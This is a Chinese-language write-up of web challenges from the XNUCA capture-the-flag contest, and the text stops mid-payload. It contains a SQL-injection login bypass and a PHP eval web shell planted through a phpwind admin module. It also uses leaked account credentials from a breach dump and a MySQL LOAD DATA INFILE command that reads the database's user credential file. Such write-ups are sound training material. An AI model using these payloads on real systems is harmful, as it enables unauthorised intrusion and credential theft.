周末一个人打了中科院的XNUCA(小伙伴打着打着就不知道哪里去了…),由于比较弱,最后也只能打到20多名,稍微整理下wp吧…
Sign
Good Luck!flag{X-nuca@GoodLuck!}
没啥可说的
BaseCoding
提示:这是编码不是加密哦!一般什么编码里常见等号? 这一串字符好奇怪的样子,里面会不会隐藏什么信息?http://question1.erangelab.com/
这种题目还需要提示…..base64解一下就好了
BaseInjection
提示:试试万能密码 不知道密码也能登录。http://question2.erangelab.com/
代码语言:javascript复制http://question2.erangelab.com/chklogin.php
username=admin'||1#&password=admin
flag{N1ce1njected}
4、BaseReconstruction
提示:对数据包进行重构是基本技能 此题看似和上题一样,其实不然。http://question3.erangelab.com/
说实话我不知道有啥区别,payload和上面一样。
代码语言:javascript复制http://question3.erangelab.com/chklogin.php
username=admin'||1#&password=123
flag{Cr05sthEjava5cr1pt}
5、CountingStars
提示:一不小心Mac也侧漏 No more $s counting stars. http://question4.erangelab.com/
其实看到里边的备注就猜到是mac的备份了
在mac中每个文件夹中都存在.DS_Store这个文件,会有部分当前文件夹的信息
代码语言:javascript复制http://question4.erangelab.com/.DS_Store
拿十六进制编辑器分析下就能发现epLF1rEihQp5AjCUcgGry330jkFSC1C7.zip
下载得到的居然是损坏的zip,那拖去linux binwalk一跑就得到了index.php
<?php
$S="song";
$song="says";
$says="no";
$no="more";
$more="d0llars";
$d0llars="counting";
$counting="star";
$star="S";
echo '<div style="text-align:center">What is $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$S</div>';
?>
<br>
<br>
<br>
<div style="text-align:center">
<form action="check.php" method="post">
<input type="text" name="answer" value="" />
<input type="submit" value="submit" />
</form>
<div>
没什么可说的,本地一输出就好了,得到d0llars
check会直接跳转,那么就curl一下吧
代码语言:javascript复制ubuntu@VM-181-46-ubuntu:~$ curl 'http://question4.erangelab.com/check.php' -H 'Host: question4.erangelab.com' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' -H 'Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'answer=d0llars'
flag{whyD0lIarsA9ain!}
6、Invisible
隐藏IP来保护自己。http://121.195.186.234
打开不知道要干什么,猜测是改xff,随便一改就过了…
7、Normal_normal
提示:phpwind 后台getxxxxx 又是一个bbs。http://question6.erangelab.com/
看文章发现了邮箱zhangrendao2008#126.com
队友找到了一个社工裤,得到
代码语言:javascript复制帐号zhangrendao密码zhang2010
进入后台http://question6.erangelab.com/admin.php
在编辑模块的时候,发现其中有一个自定义html,可以直接写代码,那么我们就构造
代码语言:javascript复制<?php echo 'test';eval($_POST['a']) ?>
翻了翻找到外部调用的接口,这个接口是通过php文件包含实现的,那么我们的想法可行
代码语言:javascript复制http://question6.erangelab.com/index.php?m=design&c=api&token=MOw0mvL9kj&id=44&format=script
get shell
代码语言:javascript复制a=$username=file_get_contents('./flag-3g5WFxt7Fxp09C.txt');var_dump($username);
&csrf_token=e24bceb1c744db43
flag{n0rmal_meth0d_n0rmal_l1fe}
8、DBexplorer
提示:a.SELECT @@datadir 。。。mysql/user.MYD b.user.MYD Where is my data。http://question7.erangelab.com/(请不要修改密码!)
进去发现了.db.php.swp
,得到当前账户的号和密码,然后发现了phpmyadmin
username:ctfdb password:ctfmysql123
通过SELECT @@datadir
,我们可以得到mysql的路径是/var/lib/mysql/
配合网上的搜索,文件的路径是/var/lib/mysql/mysql/user.MYD
进去发现可以使用table q来读取文件内容数据,使用load_file并不能读到数据…(没有搞明白为什么)
后来发现了load data命令,这里还踩了坑,关于是否使用local的
http://blog.csdn.net/youngerchen/article/details/7881678
最终payload:
代码语言:javascript复制LOAD DATA INFILE '/var/lib/mysql/mysql/user.MYD' INTO TABLE q fields terminated by 'LINES' TERMINATED BY '